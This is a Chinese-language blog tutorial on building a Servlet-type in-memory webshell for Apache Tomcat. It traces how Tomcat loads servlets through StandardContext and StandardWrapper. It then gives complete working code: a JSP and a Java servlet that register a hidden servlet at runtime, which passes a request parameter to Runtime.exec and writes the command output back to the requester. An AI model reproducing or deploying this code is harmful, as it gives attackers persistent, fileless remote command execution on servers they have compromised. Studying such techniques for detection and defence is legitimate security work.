前言

前面已经讲了三大件的其中两个:filter和listener,接下来也就是今天的内容servlet类型的内存马.

Servlet创建

这个创建就不想之前讲的这么详细了(三种创建方法),我们单拿一个方法解释一下,我也凑凑字数.
一个小demo(之前写过的):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import javax.servlet.*;  
import javax.servlet.annotation.WebServlet;
import java.io.IOException;

@WebServlet(urlPatterns = "/demo1")
//第一种方法实现Servlet接口
public class Servletdemo1 implements Servlet {
//初始化,当Servlet第一次被创建的时候执行这个方法,这个方法在整个生命周期中只执行一次。
@Override
public void init(ServletConfig servletConfig) throws ServletException {
System.out.println("Servlet Create");
}

//Servlet获取初始化的配置信息
@Override
public ServletConfig getServletConfig() {
return null;
}
//对客户端响应的方法,每发送一次请求这个方法就会被执行一次

@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
System.out.println("service run");
}

@Override
public String getServletInfo() {
return "";
}
//当Servlet被销毁时执行改方法
@Override
public void destroy() {

}
public static void main(String[] args) {

}
}

看一下执行情况
image.png
第一次访问/demo1,会调用到init方法,和service方法,然后每次访问/demo1,都会调用到service方法.
我们把命令执行的语句写到service里.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import org.apache.catalina.connector.Request;  
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;

@WebServlet(urlPatterns = "/demo1")
//第一种方法实现Servlet接口
public class Servletdemo1 implements Servlet {
//初始化,当Servlet第一次被创建的时候执行这个方法,这个方法在整个生命周期中只执行一次。
@Override
public void init(ServletConfig servletConfig) throws ServletException {
System.out.println("Servlet Create");
}

//Servlet获取初始化的配置信息
@Override
public ServletConfig getServletConfig() {
return null;
}
//对客户端响应的方法,每发送一次请求这个方法就会被执行一次

@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
System.out.println("service run");
try{
RequestFacade servletRequest1 = (RequestFacade) servletRequest;
Class<? extends RequestFacade> aClass = servletRequest1.getClass();
Field declaredField = aClass.getDeclaredField("request");
declaredField.setAccessible(true);
Request request = (Request) declaredField.get(servletRequest1);
Response response = request.getResponse();

if(request.getParameter("test1")!=null){
InputStream test1 = Runtime.getRuntime().exec(request.getParameter("test1")).getInputStream();
int len;
byte[] buffer = new byte[1024];
while((len = test1.read(buffer))!=-1){
response.getOutputStream().write(buffer,0,len);
}
}

}catch (Exception e){
e.printStackTrace();
}
}

@Override
public String getServletInfo() {
return "";
}
//当Servlet被销毁时执行改方法
@Override
public void destroy() {

}
public static void main(String[] args) {

}
}

image.png

流程分析

获取到http请求

可以先在init打个断点,来看看初始化的流程,在分析.
image.png
我们从获取http请求开始分析,这里定位到Http11Processor这个类的service方法.
image.png
这个类的主要作用就是实现http协议的实现和封装.说明白点就是把接收到的字节流翻译成tomcat能够看懂的request对象和response对象.而service方法主要是对数据包的请求头做一些处理(解析).
image.png
执行到getAdapter().service(request, response);传入request参数和response方法,步入service方法,我们进入到了CoyoteAdapter这个类
image.png
接下来就是一系列的赋值,我们快进到connector对方法的调用

1
connector.getService().getContainer().getPipeline().getFirst().invoke(request,response);

image.png
先看connector的值
image.png
这里装了一整个http数据包
然后我们逐一分析一下具体的方法调用
image.png
返回了StandardService,它关联着engine
image.png
果不其然,这里返回了StandardEngine.
image.png
接着调用getPipeline,返回了一个Pipeline,进入了一个通道里.
image.png
最后得getFirst返回的是StandardEngineValue,这个对象最后调用了invoke,这里就开始有点眼熟了吧.还是把那张图放一下.
image.png
紧接着就没有必要分析了,也就是对invoke的一系列调用,和当时分析filter时是一样的.

读取配置信息

获取配置其实和listener很像.我们从ContextConfig的webconfig开始
image.png
在这里获取到web.xml,接着就是调用到configureContext
image.png
步入之后,一系列的添加,添加filters filtermap ApplicationListener等,最后我们可以看到对sevlet的获取.
image.png

StandardWrapper的创建与装载

为什么要讲一下StandardWrapper呢,主要是因为在初始化的时候最后是从StandardWrapper中调用到了init,Wrapper是最里层的东西.
既然是最里层,那么外层是Context,在外层就是host,这里我们从host开始分析.
image.png
断点就在这里,在StandarHost类里将StandardContext作为child添加,在这个过程里具体干了什么呢?
我们跟进是调用了父类的addchild方法
image.png
这里先是一个全局服务是否开启的一个判断,然后调用了addChildInternal方法
继续跟进
image.png
开启Context,继续跟进start
image.png
在这里跟进StartInternal方法.
image.png
继续跟进
image.png
接着步入
image.png
调用到configureStart这个方法之后,就进入到Contextconfig的configureStart方法
image.png
在这里会调用到webCondig方法,然后就不用我多说了,接下来就是上一小节的内容,我们直接跳过了.
一直到
image.png
这里创建了wrapper,设置了name,runas,class
这里就是将servlet装进了wrapper,然后继续向下
image.png
这里是就是将wrapper作为child装进context,同时我们从wrapper的值也可以看到这里wrapper里是有servlet的.里面的具体逻辑我们就不分析了.
继续向下
image.png
一直到这里,调用了addServletMappingDecoded方法,和map有关,这里就是将servlet和url做了一个关系映射.
总结:将wrapper作为children装进了context里,同时这里的children,也就是wrapper,这里是存在servlet的

Servlet的加载

接着我们来看一下加载,过掉fireLifecycleEvent方法,继续向下调.
image.png
中间的赋值什么的,都不重要,重点关注load
image.png
也就是这里,我们步入分析一下
image.png
这里对loadOnStartup做判断,对应的是web.xml里的属性<load-on-startup> 当1`里的数值不配置或者配置为负数时,只有当第一个请求访问该 Servlet 的 URL 时,Tomcat 才会去实例化它并调用 init方法。配置为 0 或正整数时。在 Web 应用启动过程中(即 StandardContext启动阶段),Tomcat 就会自动完成该 Servlet 的实例化和 Init()调用.都配置时数值越小,启动越早.
加载也就这些.整体的流程分析就结束了.

总结

整体来说: 应用没启动之前,先是做个准备,加载children(Context)到host的过程中,会读取web.xml内容,获取servlet,整理到wrapper中,然后在将wrapper作为children装入Context中。
最后做一个加载(使用<load-on-startup>标签)。总之,一个Context中有多个wrapper,一个wrapper中对应一个servlet。

servlet内存马

整体的一个思路就是
image.png

  1. 先获取到StandardContext对象
  2. 在写好一个恶意的Servlet对象
  3. 通过StandardContext.createWrapper()创建一个StandardWrapper
  4. 设置好StandardWrapper对象的loadOnStartup,ServletName,ServletClass值
  5. 然后将StandardWrapper添加进入到StandardContext对象的children属性中
  6. 最后添加一下对应的路径映射
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    <%@ page import="org.apache.catalina.connector.RequestFacade" %>  
    <%@ page import="java.lang.reflect.Field" %>
    <%@ page import="org.apache.catalina.connector.Request" %>
    <%@ page import="org.apache.catalina.connector.Response" %>
    <%@ page import="org.apache.catalina.core.StandardContext" %>
    <%@ page import="java.io.IOException" %>
    <%@ page import="java.io.InputStream" %>
    <%@ page import="org.apache.catalina.Wrapper" %><%--
    Created by IntelliJ IDEA. User: LXu2n Date: 2026/2/22 Time: 19:45 To change this template use File | Settings | File Templates.--%>
    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <%
    try{
    RequestFacade request1 = (RequestFacade) request; Class<? extends RequestFacade> aClass = request1.getClass();
    Field declaredField = aClass.getDeclaredField("request");
    declaredField.setAccessible(true);

    Request request2 = (Request) declaredField.get(request1); Response response1 = request2.getResponse();
    StandardContext context = (StandardContext) request2.getContext();
    Servlet a = new Servlet(){
    @Override
    public void init(ServletConfig config) throws ServletException {

    }
    @Override
    public ServletConfig getServletConfig() {
    return null;
    }
    @Override
    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
    try{
    RequestFacade req1 = (RequestFacade) req;
    Class<? extends ServletRequest> aClass1 = req.getClass();
    Field declaredField1 = aClass1.getDeclaredField("request");
    declaredField1.setAccessible(true);
    Request request3 = (Request) declaredField1.get(req1); Response response2 = request3.getResponse(); if(request3.getParameter("test11")!=null){
    InputStream test11 = Runtime.getRuntime().exec(request3.getParameter("test11")).getInputStream();
    int len;
    byte[] buffer = new byte[1024];
    while((len=test11.read(buffer))!=-1){
    response2.getOutputStream().write(buffer,0,len);
    } } }catch (Exception e){e.printStackTrace();}
    }
    @Override
    public String getServletInfo() {
    return "";
    }
    @Override
    public void destroy() {

    } }; String simpleName = a.getClass().getSimpleName();
    Wrapper wrapper = context.createWrapper(); wrapper.setLoadOnStartup(1);
    wrapper.setName(simpleName); wrapper.setServlet(a); wrapper.setServletClass(a.getClass().getName());
    context.addChild(wrapper); context.addServletMappingDecoded("/demo11",simpleName);

    }catch (Exception e){
    e.printStackTrace(); }
    %>
    <html>
    <head>
    <title>Title</title>
    </head>
    <body>

    </body>
    </html>
    image.png
    jsp的
    然后是java的exp
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    import org.apache.catalina.Wrapper;  
    import org.apache.catalina.connector.Request;
    import org.apache.catalina.connector.RequestFacade;
    import org.apache.catalina.connector.Response;
    import org.apache.catalina.core.StandardContext;

    import javax.servlet.*;
    import javax.servlet.annotation.WebServlet;
    import java.io.IOException;
    import java.io.InputStream;
    import java.lang.reflect.Field;

    @WebServlet(urlPatterns = "/demo22")
    public class Servletexp implements Servlet {
    @Override
    public void init(ServletConfig config) throws ServletException {

    }

    @Override
    public ServletConfig getServletConfig() {
    return null;
    }

    @Override
    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
    try {
    RequestFacade req1 = (RequestFacade) req;
    Class<? extends RequestFacade> aClass = req1.getClass();
    Field declaredField = aClass.getDeclaredField("request");
    declaredField.setAccessible(true);
    Request request = (Request) declaredField.get(req1);
    StandardContext context = (StandardContext) request.getContext();

    Servlet a = new Servlet(){

    @Override
    public void init(ServletConfig config) throws ServletException {

    }

    @Override
    public ServletConfig getServletConfig() {
    return null;
    }

    @Override
    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
    try{
    RequestFacade req2 = (RequestFacade) req;
    Class<? extends RequestFacade> aClass1 = req2.getClass();
    Field declaredField1 = aClass1.getDeclaredField("request");
    declaredField1.setAccessible(true);
    Request request1 = (Request) declaredField1.get(req2);
    Response response = request1.getResponse();

    if(request1.getParameter("test22")!=null){
    InputStream test22 = Runtime.getRuntime().exec(request1.getParameter("test22")).getInputStream();
    int len;
    byte[] buffer = new byte[1024];
    while ((len = test22.read(buffer)) != -1) {
    response.getOutputStream().write(buffer, 0, len);
    }
    }
    }catch(Exception e){
    e.printStackTrace();
    }

    }

    @Override
    public String getServletInfo() {
    return "";
    }

    @Override
    public void destroy() {

    }
    };
    String simpleName = a.getClass().getSimpleName();

    Wrapper wrapper = context.createWrapper();
    wrapper.setName(simpleName);
    wrapper.setLoadOnStartup(1);
    wrapper.setServlet(a);
    wrapper.setServletClass(a.getClass().getName());

    context.addChild(wrapper);
    context.addServletMappingDecoded("/demo222", a.getClass().getSimpleName());


    }catch (Exception e) {}

    }

    @Override
    public String getServletInfo() {
    return "";
    }

    @Override
    public void destroy() {

    }
    }
    image.png
    结束

参考

Java内存马系列-05-Tomcat 之 Servlet 型内存马 | Drunkbaby’s Blog